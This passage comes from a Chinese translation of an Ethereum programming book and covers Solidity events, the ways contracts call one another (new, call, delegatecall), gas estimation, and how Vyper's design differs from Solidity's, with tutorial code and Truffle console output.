然而，进行显式检查并发出对应的出错信息是一个更好的编程习惯。我们可以在transfer之前添加require函数来做到这一点：






require(this.balance >= withdraw_amount,



        "Insufficient balance in faucet for withdrawal request");



msg.sender.transfer(withdraw_amount);







类似这样的额外错误检查代码会少量地增加gas的开销，但是在出问题时可以提供更友好的报错信息。程序员需要根据程序本身的执行情况，在gas消耗和清晰报错信息之间寻求平衡。类似目前这个运行在测试网环境下的Faucet，我们肯定会倾向于获得更丰富的报错信息，因为这并不会产生真实的gas开销。也许在以太坊主网运行时，我们才会在gas的开销上更加精打细算。



事件



当交易完成后（不论成功与否），它都会生成一个交易收据（详见第13章）。交易收据包含完整的日志条目，记录了交易执行过程中发生的动作。事件是Solidity的高级对象，用于生成这些日志。

事件对于轻量级客户端和DApp服务非常有用，这些客户端或者服务可以监控特定事件的发生，并在它们的用户界面中有所反应，或者修改自身程序中的某些状态，来体现出底层合约所发生的变化。

事件对象可以把参数序列化并且记录在以太坊区块链的事件日志中。你可以在参数之前添加indexed关键字，这样可以把索引过后的值作为可以搜索或者过滤的哈希表。

目前为止我们还没有在Faucet例子中添加任何事件，那么现在开始尝试吧。我们将添加两个事件，一个用于记录所有的提币操作，另外一个用于记录所有的存入操作。我们把这两个事件分别称为Withdrawal和Deposit。首先，我们在Faucet合约中定义这些事件：






contract Faucet is mortal {



        event Withdrawal(address indexed to, uint amount);



        event Deposit(address indexed from, uint amount);



        [...]



}







我们选择给地址变量添加indexed关键字，这样将允许任何访问Faucet的用户界面对这个变量进行搜索或者过滤。

接着，我们使用emit关键字把事件相关的数据写入交易日志：






// Give out ether to anyone who asks



function withdraw(uint withdraw_amount) public {



    [...]



    msg.sender.transfer(withdraw_amount);



    emit Withdrawal(msg.sender, withdraw_amount);



}



// Accept any incoming amount



function () public payable {



    emit Deposit(msg.sender, msg.value);



}







编写完成的Faucet.sol合约的完整代码如下：


代码7-3：Faucet8.sol:经过修改的合约代码，添加了事件







1 // Version of Solidity compiler this program was written for



2 pragma solidity ^0.4.22;



3



4 contract owned {



5       address owner;



6       // Contract constructor: set owner



7       constructor() {



8               owner = msg.sender;



9       }



10      // Access control modifier



11      modifier onlyOwner {



12             require(msg.sender == owner,



13                     "Only the contract owner can call this function");



14           _;



15      }



16 }



17



18 contract mortal is owned {



19       // Contract destructor



20       function destroy() public onlyOwner {



21               selfdestruct(owner);



22       }



23 }



24



25 contract Faucet is mortal {



26      event Withdrawal(address indexed to, uint amount);



27      event Deposit(address indexed from, uint amount);



28



29      // Give out ether to anyone who asks



30      function withdraw(uint withdraw_amount) public {



31               // Limit withdrawal amount



32               require(withdraw_amount <= 0.1 ether);



33               require(this.balance >= withdraw_amount,



34                    "Insufficient balance in faucet for withdrawal request");



35               // Send the amount to the address that requested it



36               msg.sender.transfer(withdraw_amount);



37               emit Withdrawal(msg.sender, withdraw_amount);



38      }



39      // Accept any incoming amount



40      function () public payable {



41              emit Deposit(msg.sender, msg.value);



42      }



43 }








捕获事件


好了，我们已经设定了合约对外发出事件，那么如何看到交易日志的内容，或者如何捕获这些事件呢？web3.js库提供了一个代表交易执行结果的数据结构，其中包含交易的日志。从中我们可以看到由交易生成的事件。

我们使用truffle来针对修改过之后的Faucet合约运行一个测试交易，根据附录中有关Truffle框架的内容中的步骤设定一个项目目录，编译Faucet的代码。这段代码可以从本书关联的GitHub代码库（
https://github.com/ethereumbook/ethereumbook

 ）中获得：






$ truffle develop



truffle(develop)> compile



truffle(develop)> migrate



Using network 'develop'.



Running migration: 1_initial_migration.js



  Deploying Migrations...



  ... 0xb77ceae7c3f5afb7fbe3a6c5974d352aa844f53f955ee7d707ef6f3f8e6b4e61



  Migrations: 0x8cdaf0cd259887258bc13a92c0a6da92698644c0



Saving successful migration to network...



  ... 0xd7bc86d31bee32fa3988f1c1eabce403a1b5d570340a3a9cdba53a472ee8c956



Saving artifacts...



Running migration: 2_deploy_contracts.js



  Deploying Faucet...



  ... 0xfa850d754314c3fb83f43ca1fa6ee20bc9652d891c00a2f63fd43ab5bfb0d781



  Faucet: 0x345ca3e014aaf5dca488057592ee47305d9b3e10



Saving successful migration to network...



  ... 0xf36163615f41ef7ed8f4a8f192149a0bf633fe1a2398ce001bf44c43dc7bdda0



Saving artifacts...



truffle(develop)> Faucet.deployed().then(i => {FaucetDeployed = i})



truffle(develop)> FaucetDeployed.send(web3.toWei(1, "ether")).then(res => \



                { console.log(res.logs[0].event, res.logs[0].args) })



Deposit { from: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



  amount: BigNumber { s: 1, e: 18, c: [ 10000 ] } }



truffle(develop)> FaucetDeployed.withdraw(web3.toWei(0.1, "ether")).then(res => \



                { console.log(res.logs[0].event, res.logs[0].args) })



Withdrawal { to: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



  amount: BigNumber { s: 1, e: 17, c: [ 1000 ] } }







当合约部署完毕后，使用deployed函数，我们执行了两个交易。第一个交易是一笔存入交易（使用send），它会触发Deposit事件并在交易日志中记录如下内容：






Deposit { from: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



  amount: BigNumber { s: 1, e: 18, c: [ 10000 ] } }







接着，我们使用withdraw函数进行一个提币的操作，这会触发Withdrawal事件：






Withdrawal { to: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



  amount: BigNumber { s: 1, e: 17, c: [ 1000 ] } }







为了获取这些事件，我们可以查看由交易返回的结果(res)中的logs数组。第一个日志项（logs[0]）中包含事件的名称logs[0].event和事件的参数logs[0].args。通过在控制台显示这些内容，我们可以查阅对应事件的名称和事件参数。

事件是一种非常有用的机制，不仅可以用于合约之间的通信，也可以用于开发环节中的代码调试。



调用其他合约（send、call、callcode和delegatecall）



从合约中调用其他合约是非常有用但同时也有潜在危险的操作。我们将研究实现这一目标的各种方法，并评估每种方法的风险。简而言之，风险源于这样一个事实：你可能不知道自己正在调用的合约，或者不知道谁在调用你的合约。在编写智能合约时，必须记住，虽然大部分情况是处理外部账户发起的合约调用，但是没有什么可以阻止任意复杂的甚至可能是恶意的合约被你的代码调用，或者调用你的代码。


创建新的实例


调用自己编写的合约往往是最安全的做法，因为你非常清楚被调合约的接口和行为。你可以直接使用关键字new来实例化一个合约，如其他面向对象编程语言一样。在Solidity中，关键字new会在以太坊区块链上创建一个合约实例，并且返回一个可供引用的对象。例如，我们假设现在需要从名为Token的其他合约中创建一个Faucet实例，并且调用它：






contract Token is mortal {



        Faucet _faucet;



        constructor() {



                _faucet = new Faucet();



        }



}







这样的合约构建机制可以保障调用方了解合约的具体类型和接口。Faucet合约的代码实现必须被定义在Token的范围内，如果合约的定义在其他文件中，那么就需要通过import语句来实现：






import "Faucet.sol";



contract Token is mortal {



        Faucet _faucet;



        constructor() {



                _faucet = new Faucet();



        }



}







new关键字也接收可选的参数，这些参数用来指定合约创建时转入的以太币数量，以及可能需要传递给新合约构造函数的一些参数：






import "Faucet.sol";



contract Token is mortal {



        Faucet _faucet;



        constructor() {



                _faucet = (new Faucet).value(0.5 ether)();



        }



}







就像函数调用一样，我们也可以调用Faucet中的方法。在这个例子中，我们在Token的destroy函数内调用了Faucet中的destroy函数。






import "Faucet.sol";



contract Token is mortal {



        Faucet _faucet;



        constructor() {



                _faucet = (new Faucet).value(0.5 ether)();



        }



        function destroy() ownerOnly {



                _faucet.destroy();



        }



}







需要注意，这时开发和部署Token合约的外部账号是Token合约的所有者，而Faucet合约是由Token合约创建和部署的，因此它的所有者是Token合约，也只有Token合约可以调用Faucet的destroy函数。


添加已存在的实例


调用合约的另一种方法是转换合约现有实例的地址。使用这种方法，可以将已知接口应用于已存在的实例。因此，非常重要的一点是，一定要明确知晓你正在处理的地址上的实例确实是自己所假设的类型。我们来看一个例子：






import "Faucet.sol";



contract Token is mortal {



        Faucet _faucet;



        constructor(address _f) {



                _faucet = Faucet(_f);



        _faucet.withdraw(0.1 ether)



        }



}







在这段代码中，我们从构造函数的参数_f中获得一个地址，并把这个地址类型转换为Faucet对象。这比之前的机制要危险得多，因为我们无法确定这个地址是否指向了希望调用的Faucet实例。调用withdraw函数时，需要假设这个函数接收我们传入的参数，并且的确执行Faucet中所声明的那些代码。但是我们无法得到保证。也许，这个合约地址上的withdraw会执行我们完全无法预料的代码，而仅仅是函数的名字相同。因此，使用作为输入传递的地址并将它们转换为特定对象，比自己创建合约然后调用的做法更危险。


原生call和delegatecall


Solidity还提供了一些更底层的函数，用于调用其他合约。这些直接对应着EVM的字节码，允许开发者手动构建合约对合约的调用。因此，这些都是最灵活但也是最危险的合约调用机制。

以下是一个相同的例子，使用了call方法：






contract Token is mortal {



       constructor(address _faucet) {



              _faucet.call("withdraw", 0.1 ether);



       }



}







如你所见，这样的调用无异于盲调用，基本上就是在合约的上下文中构建一个原生的交易。这会让合约暴露在一系列安全风险之下，其中最主要的就是可重入性攻击，后文会有专门一节讨论这个主题。如果遇到问题，call函数会返回false，这样我们就能评估返回值，并用于错误处理：






contract Token is mortal {



        constructor(address _faucet) {



                if !(_faucet.call("withdraw", 0.1 ether)) {



                        revert("Withdrawal from faucet failed");



                }



        }



}







call的另外一种选择是使用delegatecall，这个方法替代了更危险的callcode。callcode这个方法即将被废弃，因此不应该再继续使用它。

正如我们在前文中提到的，delegatecall与call并不完全相同，其中的msg上下文并不会发生变化。例如，call会把msg.sender的值替换为发起调用的合约，但是delegatecall仍旧保持msg.sender不变。简而言之，delegatecall其实就是在当前合约的上下文中运行另外一个合约。这通常用于调用来自库中的代码。程序需要区分哪些代码以库合约的方式出现，哪些代码用于跟当前合约的数据打交道。

使用delegate调用需要非常谨慎。它可能会导致一些无法预料的副作用，特别是在调用的合约并不是库的情况下。

我们使用一个示例合约来展示call和delegatecall在调用库和其他合约时的具体语法。可以使用事件来记录每一个调用，以及查看不同调用方式下调用上下文的变化（见代码7-4）。


代码7-4：CallExamples.sol:不同调用语义的例子







1 pragma solidity ^0.4.22;



2



3 contract calledContract {



4       event callEvent(address sender, address origin, address from);



5       function calledFunction() public {



6               emit callEvent(msg.sender, tx.origin, this);



7       }



8 }



9



10 library calledLibrary {



11     event callEvent(address sender, address origin, address from);



12     function calledFunction() public {



13             emit callEvent(msg.sender, tx.origin, this);



14     }



15 }



16



17 contract caller {



18



19     function make_calls(calledContract _calledContract) public {



20



21             // Calling calledContract and calledLibrary directly



22             _calledContract.calledFunction();



23             calledLibrary.calledFunction();



24



25             // Low-level calls using the address object for calledContract



26             require(address(_calledContract).



27                     call(bytes4(keccak256("calledFunction()"))));



28             require(address(_calledContract).



29                     delegatecall(bytes4(keccak256("calledFunction()"))));



30



31



32



33     }



34 }







caller是主合约，它调用了一个库合约calledLibrary和另外一个合约calledContract。库合约和这个被调用的合约都有一个名为calledFunction的函数，调用这个函数会在交易日志中记录一个calledEvent事件。这个日志包含三部分数据：msg.sender、tx.origin和this。每次调用calledFunction时，由于调用方式的不同，它的执行上下文肯定也会不同。取决于是采用直接调用还是delegatecall的方式，这些执行上下文的变量可能完全不一样。

在caller中，我们首先通过直接调用的方式逐一调用库和另外一个合约中的calledFunction函数。然后，我们使用底层方法call和delegatecall来调用calledContract.calledFunction。通过这样的方式，我们可以观察不同调用机制的行为差异。

我们在Truffle开发环境中运行这些命令，然后查看生成的事件信息：






truffle(develop)> migrate



Using network 'develop'.



[...]



Saving artifacts...



truffle(develop)> web3.eth.accounts[0]



'0x627306090abab3a6e1400e9345bc60c78a8bef57'



truffle(develop)> caller.address



'0x8f0483125fcb9aaaefa9209d8e9d7b9c8b9fb90f'



truffle(develop)> calledContract.address



'0x345ca3e014aaf5dca488057592ee47305d9b3e10'



truffle(develop)> calledLibrary.address



'0xf25186b5081ff5ce73482ad761db0eb0d25abfbf'



truffle(develop)> caller.deployed().then( i => { callerDeployed = i })
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truffle(develop)> callerDeployed.make_calls(calledContract.address).then(res => \



                 { res.logs.forEach( log => { console.log(log.args) })})



{ sender: '0x8f0483125fcb9aaaefa9209d8e9d7b9c8b9fb90f',



  origin: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



  from: '0x345ca3e014aaf5dca488057592ee47305d9b3e10' }



{ sender: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



  origin: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



  from: '0x8f0483125fcb9aaaefa9209d8e9d7b9c8b9fb90f' }



{ sender: '0x8f0483125fcb9aaaefa9209d8e9d7b9c8b9fb90f',



  origin: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



  from: '0x345ca3e014aaf5dca488057592ee47305d9b3e10' }



{ sender: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



  origin: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



  from: '0x8f0483125fcb9aaaefa9209d8e9d7b9c8b9fb90f' }







我们来分析这些调用背后到底发生了什么。我们调用make_calls函数，并把calledContract的地址传递给它。执行这个函数所对应的一系列调用产生了四个事件。我们来看看make_calls的代码，并逐一分析。

第一个调用是：






_calledContract.calledFunction();







这里使用了calledFunction的高级ABI定义，直接调用了calledContract.calledFunction，产生的事件是：






sender: '0x8f0483125fcb9aaaefa9209d8e9d7b9c8b9fb90f',



origin: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



from: '0x345ca3e014aaf5dca488057592ee47305d9b3e10'







如你所见，msg.sender是caller合约的上下文。tx.origin的值对应的是我们在Truffle中的测试账户web3.eth.accounts[0]，对caller的调用交易从这个账户发出。事件由calledContract这个合约产生，事件的最后一个参数可以证明这一点。

make_calls中的第二个调用是向库合约发起的调用：






calledLibrary.calledFunction();







这个调用看似跟调用普通的合约没有任何区别，但是它的行为却大相径庭。我们来看看这次调用产生的事件：






sender: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



origin: '0x627306090abab3a6e1400e9345bc60c78a8bef57',



from: '0x8f0483125fcb9aaaefa9209d8e9d7b9c8b9fb90f'







这次，msg.sender不再是call，而是被测试账户的地址取代，也就是发起调用方的地址。这是因为，在调用库合约时，调用总是采用delegatecall方式进行，库合约的代码始终运行在调用发起方的上下文中。因此，当calledLibrary的代码运行时，它继承了caller的执行上下文，就如同库合约的代码直接运行在caller合约内部一样。this变量（在事件中表示为from）是caller合约的地址，即使这时代码的执行和变量访问都是在calledLibrary中发生的。

接下来的两个调用使用了底层的call和delegatecall，这可以验证我们的期望：这两个调用所发出的事件跟之前两次调用完全一致。




与gas有关的注意事项



gas的细节会在第13章详细介绍，在进行智能合约开发时必须认真对待gas相关问题。gas用于限定以太坊允许一个交易运行所耗费的最大计算量。如果在执行过程中gas耗尽，会触发如下一系列事件：

·抛出“out of gas”异常。

·状态被恢复到执行开始之前。

·所有在这次执行过程中的gas开销都会被作为交易费用，以太坊不会因为交易中止而退回gas或以太币。

gas的费用由交易的发起方支付，因此我们需要避免调用那些可能引发高额gas的合约或者函数。程序员的最佳策略就是设法避免合约可能产生的gas消耗。关于这一点，有一些在构建智能合约时需要遵循的最佳实践，用于尽可能把一个智能合约函数调用所产生的gas消耗最小化。



避免动态尺寸的数组



任何对动态数组所执行的循环操作，例如对数组的每一个元素进行操作，或者通过遍历的方式来查找特定的元素，都有触发高额gas消耗的风险。因此，合约可能会在完成这样的循环之前就耗尽gas额度，既浪费了时间，也产生了不必要的以太币消耗。



避免调用其他合约



调用其他合约，特别是那些gas消耗未知的合约，可能会产生高额的gas开销。避免使用那些没有经过测试和广泛使用的库合约。如果库合约没有经过大量的实战考验，那么使用它的风险肯定会很高。



估计gas开销



如果需要估算调用合约中的某个方法可能引发的gas开销，在考虑这个方法接收的参数的情况下，你可以采用如下方式：






var contract = web3.eth.contract(abi).at(address);



var gasEstimate = contract.myAweSomeMethod.estimateGas(arg1, arg2,



    {from: account});







gasEstimate会告诉我们运行这样一个调用需要消耗的具体gas数量。但这只是一个估计的结果，因为在图灵完备的EVM上，通常不会存在那种每次调用所产生的gas消耗都完全相同的合约和函数。即使是生产环境中代码，每一次调用过程中它的执行路径也会不同，这将导致完全不同的gas开销。然而，大多数函数都不会乱来，多数情况下，estimateGas的估算还是八九不离十的。

为了获取当前网络中的gas价格，可以执行如下代码：






var gasPrice = web3.eth.getGasPrice();







然后通过这些数据，可以估算一个调用的gas开销；






var gasCostInEther = web3.fromWei((gasEstimate * gasPrice), 'ether');







我们尝试用这样的方法来计算Faucet这个例子的gas开销，使用本书代码库（
http://bit.ly/2zf0SIO

 ）中的代码。

我们启动Truffle开发环境，执行gas_estimates.js这个JavaScript文件，它包括如下内容。


代码7-5：gas_estimates.js:使用estimateGas函数







var FaucetContract = artifacts.require("./Faucet.sol");



FaucetContract.web3.eth.getGasPrice(function(error, result) {



    var gasPrice = Number(result);



    console.log("Gas Price is " + gasPrice + " wei"); // "10000000000000"



    // Get the contract instance



    FaucetContract.deployed().then(function(FaucetContractInstance) {



                // Use the keyword 'estimateGas' after the function 



                   name to get the gas



                // estimation for this particular function (aprove)



                FaucetContractInstance.send(web3.toWei(1, "ether"));



    return FaucetContractInstance.withdraw.estimateGas(web3.toWei(0.1, "ether"));



}).then(function(result) {



    var gas = Number(result);



    console.log("gas estimation = " + gas + " units");



    console.log("gas cost estimation = " + (gas * gasPrice) + " wei");



    console.log("gas cost estimation = " +



            FaucetContract.web3.fromWei((gas * gasPrice), 'ether') + " ether");



    });



});







执行之后，Truffle的开发环境控制台会显示如下信息：






$ truffle develop



truffle(develop)> exec gas_estimates.js



Using network 'develop'.



Gas Price is 20000000000 wei



gas estimation = 31397 units



gas cost estimation = 627940000000000 wei



gas cost estimation = 0.00062794 ether







建议在编写智能合约的过程中，把gas的开销评估作为其中的一个环节，这样可以避免合约部署到主网后发生高额gas开销这些之前可能没有想到的问题。




总结



在本章中，我们开始详细介绍智能合约，并探讨了Solidity编程语言。我们编写了一个简单的示例合约Faucet.sol，逐渐改进它并使其更复杂，用它来学习Solidity语言的各个方面。在第8章中，我们将学习另一种面向合约的编程语言Vyper。我们将比较Vyper与Solidity，展示这两种语言设计上的一些差异，加深对智能合约编程的理解。




第8章　智能合约与Vyper



Vyper是在以太坊虚拟机上执行的、面向合约的实验性编程语言，旨在提供更好的可审计性，并帮助程序员更轻松地完成清晰易懂的代码。实际上，Vyper的一个原则是让开发者几乎不可能编写出具有误导性的代码。

在本章中，我们将从智能合约的常见问题入手介绍Vyper编程语言，并且比较它和Solidity的差异。




合约的常见漏洞和Vyper



最近有一项研究（
https://arxiv.org/pdf/1802.06038.pdf

 ）分析了近100万份合约，并且发现其中很多合约都包含严重的漏洞。在分析的过程中，研究人员总结了三种基本类型的漏洞：


可自毁合约


那些可以被任何地址杀死的合约。


贪婪合约


那些一旦达到某个执行状态，就无法释放以太币的合约。


慷慨合约


那些可以把以太币转给任意地址的合约。

漏洞是通过代码引入到智能合约中的。需要强调的是，尽管这些漏洞和其他漏洞都不是有人故意引入到合约中的，但是无论如何，不合理的智能合约代码致使以太坊用户遭遇意外亏损这件事情还是令人恼火。Vyper的设计目标就是让编写安全的智能合约代码变得简单，换句话说，让编写具有误导性的代码或者容易受到攻击的代码变得更加困难。




与Solidity的比较



Vyper尝试使编写不安全的代码变得更加困难的方法之一是明确省略了Solidity语言的一些特性。对于那些考虑使用Vyper进行智能合约开发的人来说，理解Vyper没有的功能以及其背后的原因是非常重要的。因此本章我们会探索这些语言特性，并解释Vyper省略它们的原因。



修饰符



如先前章节所述，在Solidity中，你可以使用修饰符去修饰一个函数。例如，下面这个名为changeOwner的函数将在onlyBy修饰符的修饰下运行代码，并使其作为自身执行的一部分。






function changeOwner(address _newOwner)



    public



    onlyBy(owner)



{



    owner = _newOwner;



}







这个修饰符会强制执行一些有关所有权的规则。如你所见，这个特殊的修饰符为change-Owner函数充当了预先检查的角色。






modifier onlyBy(address _account)



{



    require(msg.sender == _account);



    _;



}







但是修饰符不仅仅可以执行检查，实际上，作为修饰符，它们可以在调用函数的上下文中显著地改变智能合约的环境。简而言之，修饰符是普遍存在的。

让我们看看另一个Solidity风格的例子：






enum Stages {



    SafeStage



    DangerStage,



    FinalStage



}



uint public creationTime = now;



Stages public stage = Stages.SafeStage;



function nextStage() internal {



    stage = Stages(uint(stage) + 1);



}



modifier stageTimeConfirmation() {



    if (stage == Stages.SafeStage &&



                now >= creationTime + 10 days)



        nextStage();



    _;



}



function a()



    public



    stageTimeConfirmation



    // More code goes here



{



}







一方面，开发者应该时常对他们的代码所调用的代码进行检查。但是，在某些情况下（如因时间的限制和耗费而导致注意力缺失），开发者可能会忽略某些代码。如果开发者必须在一个大型文件系统中进行跳转，并在心里跟踪函数调用栈的层次结构，以及将智能合约的变量状态提交至内存，在这种情况下，就很可能会忽略一些代码。

让我们更加深入地看一下先前的例子。假设开发者正在编写一个公共函数a。这个开发者还是智能合约的新手，并且正在使用由他人编写的修饰符。乍一看，似乎stage-TimeConfirmation修饰符只是简单地执行了一些与调用函数有关的年龄的检查。开发者可能没有注意到的是，这个修饰符同时在调用另一个函数nextStage。在这个简化的演示场景中，简单的调用公共函数会导致stage变量从SafeStage变为Danger-Stage。

Vyper完全抛弃了修饰符的概念。Vyper的建议如下：如果仅仅是使用修饰符执行某些断言操作，则可以简单地在函数中使用内联检查和断言；如果是修改智能合约状态之类的操作，则应该将这些操作明确作为函数的一部分。这样做会提高代码的可审计性和可读性，因为阅读代码的人不用在函数附近通过（手动）“包装”的方式来查看它究竟做了什么。



类继承



继承允许程序员通过从现有软件库中获取预先存在的功能、属性和行为来利用预先编写的代码。继承功能很强大，并且可以促进代码的重用。Solidity支持多重继承和多态，不过，尽管这些被认为是面向对象编程中的重要特性，但是Vyper并不支持它们。Vyper认为继承的实现需要编码人员和审计人员在多个文件之间进行跳转，以便了解程序正在做什么。Vyper同样坚持认为，在使用多重继承时，必须要理解优先级规则，而这会使代码变得过于复杂。对于这一点，大家已心照不宣，甚至Solidity中关于继承的文档（
https://github.com/ethereum/solidity/blob/release/docs/contracts.rst#inheritance

 ）也给出了多重继承会如何成为问题的示例。



内联汇编



内联汇编给开发者提供了以低级别访问以太坊虚拟机的机会。使用内联汇编代码时，Solidity开发者可以通过直接访问EVM操作码指令来执行操作。例如，以下内联汇编代码通过使用EVM操作码mload在内存位置0x80处添加3。






3 0x80 mload add 0x80 mstore







而Vyper认为牺牲可读性的代价过于昂贵，是额外带来的能力无法弥补的，因此不建议使用内联汇编。



函数重载



函数重载允许开发者编写多个同名函数，根据参数类型来区分在不同情况下所使用的函数。以下面两个函数为例：






function f(uint _in) public pure returns (uint out) {



    out = 1;



}



function f(uint _in, bytes32 _key) public pure returns (uint out) {



    out = 2;



}







第一个函数（名为f）接收类型为uint的参数输入，但第二个函数（同样名为f）接收两个参数，一个是uint类型，另一个是bytes32类型。具有相同名称和不同参数选项的多个函数定义可能会导致混淆，而这正是Vyper不支持函数重载的主要原因。



变量类型转换



类型转换有两种形式：隐式类型转换和显式类型转换。

隐式类型转换通常在编译时执行。如果类型转换在语义上是合理的，并且没有信息可能丢失，则编译器可以执行隐式转换，例如将类型为uint8的变量转换为uint16。尽管早期版本的Vyper允许变量的隐式类型转换，但是最新版本的Vyper编程语言并不支持。

可以在Solidity中插入显式类型转换，不幸的是，代码中的显式类型转换通常会导致意外行为的发生。例如，如果显式类型转换将uint32类型转换为较小类型的uint16，那么高阶位将会被简单地截断，如下所示：






uint32 a = 0x12345678;



uint16 b = uint16(a);



// Variable b is 0x5678 now







Vyper使用convert函数取代显式类型转换。convert函数用法如下（可以在convert.py的82行找到它（
http://bit.ly/2P36ZKT

 ））：






def convert(expr, context):



    output_type = expr.args[1].s



    if output_type in conversion_table:



        return conversion_table[output_type](expr, context)



    else:



        raise Exception("Conversion to {} is invalid.".format(output_type))







同时注意conversion_table的使用（在同一文件的第90行）：






conversion_table = {



    'int128': to_int128,



    'uint256': to_unint256,



    'decimal': to_decimal,



    'bytes32': to_bytes32,



}







当开发者调用convert函数时，convert函数引用conversion_table，后者确保执行适当的转换。例如，如果开发者将int128的参数传递给convert函数，那么同一个文件（convert.py）的第26行上的to_int128函数将会被执行。to_int128的功能如下：






@signature(('int128', 'uint256', 'bytes32', 'bytes'), 'str_literal')



def to_int128(expr, args, kwargs, context):



    in_node = args[0]



    typ, len = get_type(in_node)



    if typ in ('int128', 'uint256', 'bytes32'):



        if in_node.typ.is_literal



            and not SizeLimits.MINNUM <= in_node.value <= SizeLimits.MAXNUM:



            raise InvalidLiteralException(



                "Number out of range: {}".format(in_node.value), expr



            )



        return LLLnode.from_list(



            ['clamp', ['mload', MemoryPositions.MINNUM], in_node,



            ['mload', MemoryPositions.MAXNUM]], typ=BaseType('int128'),



            pos=getpos(expr)



        )



    else:



        return byte_array_to_num(in_node, expr, 'int128')







如你所见，这样的转换不会引起任何信息的丢失；如果发生了信息丢失，那么将会产生异常。上述转换代码会防止截断以及其他隐式转换所导致的异常。

选择显式而不是隐式类型转换，意味着开发者需要负责预先执行变量类型转换。虽然这种方法确实产生了更加累赘的代码，但也提高了智能合约的安全性和可审计性。



前置和后置条件



Vyper显式地处理前置条件、后置条件和状态变更。虽然这会产生冗余的代码，但是使得代码的可读性和安全性最大化。在Vyper中编写智能合约时，开发者应该遵循以下三点：


条件


以太坊状态变量的当前状态和条件是什么？


影响


智能合约在执行时对状态变量的条件的影响。例如，什么会受到影响，什么不会受到影响？这些影响是否与智能合约的意图一致？


交互


至此，前面两个步骤已经被详尽地处理了，是时候运行代码了。在部署之前，有逻辑地逐步执行代码，并考虑代码执行后所有可能的永久结果、后果和场景，包括与其他合约的交互。

理想情况下，这三点中的每一点都应该被认真考虑，并在代码中详细记录。这样做将改进代码的设计，最终使代码更具可读性和可审计性。




装饰器



下面的装饰器可能会用在每一个函数的开头：


@private


@private装饰器使函数不得被外部合约访问。


@public


@public装饰器使函数能从外部公开查看和执行。例如，以太坊钱包可以在查看合约的同时展示公共函数。


@constant


带有@constant装饰器的函数在执行时不允许更改状态变量。实际上，如果函数尝试改变状态变量，编译器将拒绝整个程序（并带有适当的警告）。


@payable


只有声明了@payable装饰器的函数才可以转移以太币。

Vyper显式实现了装饰器（http:/bit.ly/2P14RDq）的逻辑。例如，如果函数同时包含@payable装饰器和@constant装饰器，则Vyper代码编译过程将失败。这当然是合理的，因为常量函数永远不需要参与以太币的转移。每一个函数都应该被@public和@private其中的一个修饰（不能同时！）。




函数和变量顺序



每一个独立的Vyper智能合约只包含一个Vyper文件。换句话说，Vyper智能合约中的所有代码，包括函数、变量等，都放置在同一个地方。Vyper要求每一个智能合约中的函数和变量都机械地按照特定的顺序进行声明。Sodility则对这些丝毫没有要求。让我们来快速看一个Solidity的例子：






pragma solidity ^0.4.0;



contract ordering {



    function topFunction()



    external



    returns (bool) {



        initiatizedBelowTopFunction = this.lowerFunction();



        return initiatizedBelowTopFunction;



    }



    bool initiatizedBelowTopFunction;



    bool lowerFunctionVar;



    function lowerFunction()



    external



    returns (bool) {



        lowerFunctionVar = true;



        return lowerFunctionVar;



    }



}







在这个例子中，topFunction函数正在调用另一个函数lowFunction。topFunction还为一个名为initiatizedBelowTopFunction的变量赋值。可以看到，Solidity并不需要这些函数和变量在执行代码调用之前被机械地声明。这些都是合法的代码并能成功编译。

Vyper要求按顺序声明变量和函数并不是一件新鲜事儿，这些要求同样存在于Python编程中。Vyper所要求的顺序声明非常直观且符合逻辑，如下所示：






# Declare a variable called theBool



theBool: public(bool)



# Declare a function called topFunction



@public



def topFunction() -> bool:



    # Assign a value to the already declared function called theBool



    self.theBool = True



    return self.theBool



# Declare a function called lowerFunction



@public



def lowerFunction():



    # Call the already declared function called topFunction



    assert self.topFunction()







这展示了在Vyper智能合约中声明函数和变量的正确顺序。注意变量theBool和函数topFunction的值是如何在调用之前被声明的。如果变量theBool在topFunction之后声明，或者topFunction在lowFunction之后声明，那么这个合约就不会编译通过。




编译



Vyper有自己的在线代码编辑器和编译器（
https://vyper.online

 ），允许你仅使用Web浏览器编写智能合约，然后将其编译为字节码、ABI和LLL。Vyper在线编译器具有各种预先编写好的智能合约以方便开发者使用，包括公开拍卖、安全的远程购买以及ERC20代币等。


 　Vyper将ERC20实现为预编译合约，这使其变得易于使用。Vyper中的合约变量必须被声明为全局的。声明ERC20变量的示例如下：






token: address(ERC20)







你可以使用命令行编译合约。每个Vyper合约都保存在扩展名为.vy的单个文件中。一旦安装了Vyper，你就可以通过运行下面的命令来编译和提供字节码：






vyper ~/hello_world.vy







通过运行以下命令可以获得人类可读的ABI代码（JSON格式）：






vyper -f json ~/hello_world.v.py










在编译器层面防止溢出错误



在处理真实以太币时，软件中的溢出错误可能是灾难性的。例如，发生在2018年4月中旬的一笔交易（
http://bit.ly/2yHfvoF

 ）恶意转移了超过57 896 044 618 658 100 000 000 000 000 000 000 000 000 000 000 000 000 000 000 BEC代币。这笔交易是BeautyChain的ERC20代币合约（BecToken.sol）中出现整数溢出问题的结果。Solidity开发者确实拥有像SafeMath（
http://bit.ly/2ABhb41

 ）这样的库以及像Mythril OSS（
http://bit.ly/2CQRoGU

 ）这样的以太坊智能合约分析工具。但遗憾的是，开发者不会被强制使用安全工具。简而言之，如果不强制执行某些安全措施，开发人员依旧可以编写不安全的代码，然后成功编译，再之后“成功”执行。

Vyper致力于在编程语言中内置溢出保护，并且有两种实现手段。首先，Vyper提供了SafeMath的等价物（
http://bit.ly/2PuDfpB

 ），其中包含了整数算术所必需的异常情况。除此之外，Vyper还使用了“夹钳”（clamp），每当有常量被加载，有值被传入到函数中，或者有变量被赋值时，夹钳会强制执行。夹钳是通过在低级的类Lisp语言（LLL）的编译器上自定义函数实现的，并且无法被关闭。（Vyper编译器输出LLL而不是EVM字节码，这使得Vyper自身的开发变得更简单。）




读取数据



虽然存储、读取和修改数据的成本很高，但这些存储操作是大多数智能合约的必要组成部分。智能合约可以将数据写进两个地方：


全局状态


